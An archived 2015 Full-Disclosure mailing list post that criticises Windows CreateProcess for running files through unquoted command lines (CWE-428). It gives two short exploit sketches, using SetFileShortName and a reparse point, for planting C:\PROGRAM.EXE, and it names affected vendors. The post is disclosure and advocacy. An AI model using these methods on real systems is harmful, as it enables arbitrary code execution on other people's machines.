lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <77D1E234D8354B9CB6962BD272152EC9@W340>
Date: Sun, 15 Mar 2015 16:17:47 +0100
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <bugtraq@...urityfocus.com>
Cc: fulldisclosure@...lists.org
Subject: [FD] Defense in depth -- the Microsoft way (part 30): on
	exploitable Win32 functions

Hi @ll,

since Microsoft won't -- despite (hopefully not only) my constant
nagging and quite some bug reports about unquoted command lines
for more than a dozen years now -- fix the BRAINDEAD behaviour
of Windows' CreateProcess*() functions to play try&error instead
of returning on error to their caller when interpreting their
lpCommandLine argument which lets the BLOODY BEGINNER's error
known as CWE-428 <https://cwe.mitre.org/data/definitions/428.html>
go undetected, I'll show some methods including the preconditions
on how to exploit it, i.e. execute a file of my choice.

JFTR: none of these methods should be new or unknown to any
      Windows administrator, developer or QA engineer.-P

JFTR: in Microsoft's own terms these methods don't qualify as
      security vulnerabilities due to their precondition(s).


#1. Preconditions:

    * a file in %SystemDrive%\ which can be opened with the
      access rights GENERIC_WRITE | DELETE and the attribute
      FILE_FLAG_BACKUP_SEMANTICS;

    * a user account holding the privilege SE_RESTORE_NAME.

    <https://msdn.microsoft.com/en-us/library/aa365543.aspx>

    Exploit:

    handle = CreateFile(L"C:\\...", GENERIC_WRITE | DELETE,
                        ..., NULL, OPEN_EXISTING,
                        FILE_FLAG_BACKUP_SEMANTICS, NULL);
    SetFileShortName(handle, L"PROGRAM.EXE)


#2. Preconditions:

    * an empty file in %SystemDrive%\ which can be opened with
      the access rights FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES
      and the attribute FILE_FLAG_OPEN_REPARSE_POINT;

    * a user account holding the privileges SE_RESTORE_NAME and
      SE_CREATE_SYMBOLIC_LINK_NAME.

    Exploit:

    handle = CreateFile(L"C:\\...",
                        FILE_WRITE_EA | FILE_WRITE_ATTRIBUTES,
                        ..., NULL, OPEN_EXISTING,
                        FILE_FLAG_OPEN_REPARSE_POINT, NULL);
    DeviceIoControl(handle, FSCTL_SET_REPARSE_POINT, ...


Now wait until some program written by a dimwit of a developer
who (and of course his/her supervisors and QA too) never heard
of "long" filenames (which means they must have lived beneath
a rock for more than 20 years) executes your C:\PROGRAM.EXE

20+ years old: <https://support.microsoft.com/kb/102739/en-us>
               <https://support.microsoft.com/kb/134425/en-us>
~20 years old: <https://support.microsoft.com/kb/170669/en-us>
10+ years old: <https://support.microsoft.com/kb/812486/en-us>


Primary candidates: Apple iTunes, Microsoft .NET Framework 3.5
SP1 x64 (as preinstalled on Windows 7 x64 and Windows 2008 R2 AD
controllers), WHQL-certified drivers from HP, ALPS[*], Realtek[*],
Samsung, Synaptics, ... (many of those are available per Windows
Update and the Microsoft Update Catalog), MANY games, ...


As Microsoft's Aaron Margosis wrote last November pointing out
this BLOODY BEGINNER's error is unnessarily alarmist:
<http://blogs.msdn.com/b/aaron_margosis/archive/2014/11/14/it-rather-involved-being-on-the-other-side-of-this-airtight-hatchway-unqu
oted-service-paths.aspx>

Of course all non-alarmists know for sure that the above named
preconditions don't exist anywhere.-(


What but REALLY alarmist is: companies like Apple release version
after version of their products/drivers^Wcrapware without the
TRIVIAL fix for this well-known vulnerability, even when notified
over and over again!


"Defense in depth"?
Nope!

"Software engineering"?
Nope!

BRAINDEAD behaviour of Windows CreateProcess*() functions?
Yes, of course, always!

Taking care for the safety and security of their customers systems?
Nope!


stay tuned (and far away from crapware!)
Stefan Kanthak

[*] see <https://support.microsoft.com/library/images/2647325.png>


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ